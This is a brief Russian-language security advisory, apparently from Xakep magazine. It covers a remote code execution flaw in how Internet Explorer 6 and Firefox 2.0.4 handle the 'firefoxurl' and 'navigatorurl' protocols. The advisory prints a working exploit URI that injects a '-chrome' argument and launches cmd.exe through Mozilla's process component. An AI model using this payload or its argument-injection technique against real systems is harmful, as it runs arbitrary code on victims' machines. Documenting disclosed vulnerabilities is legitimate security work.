Хакер #305. Многошаговые SQL-инъекции
Программа:
Microsoft Internet Explorer 6.0 SP1
Mozilla Firefox 2.0 .4
Уязвимость позволяет удаленному злоумышленнику выполнить произвольный код на целевой системе. Уязвимость существует из-за ошибки в проверке входных данных URI обработчиками при обработке 'firefoxurl' и 'navigatorurl' протоколов. Атакующий может заманить пользователя на специально составленный сайт, что приведет к выполнению произвольного кода и сценариев с привилегиями пользователя, запустившего браузер.
Примеры:
http://larholm.com/vuln/firefoxurl.html
navigatorurl:test"%20-chrome%20"javascript:C=Components.classes;
I=Components.interfaces;
file=C['@mozilla.org/file/local;1'].createInstance(I.nsILocalFile);
file.initWithPath('C:'+String.fromCharCode(92)+String.fromCharCode(92)+
'Windows'+String.fromCharCode(92)+String.fromCharCode(92)+'System32'
+String.fromCharCode(92)+String.fromCharCode(92)+'cmd.exe');
process=C['@mozilla.org/process/util;1'].createInstance(I.nsIProcess);process.init(file);
process.run(true%252c{}%252c0);alert(process)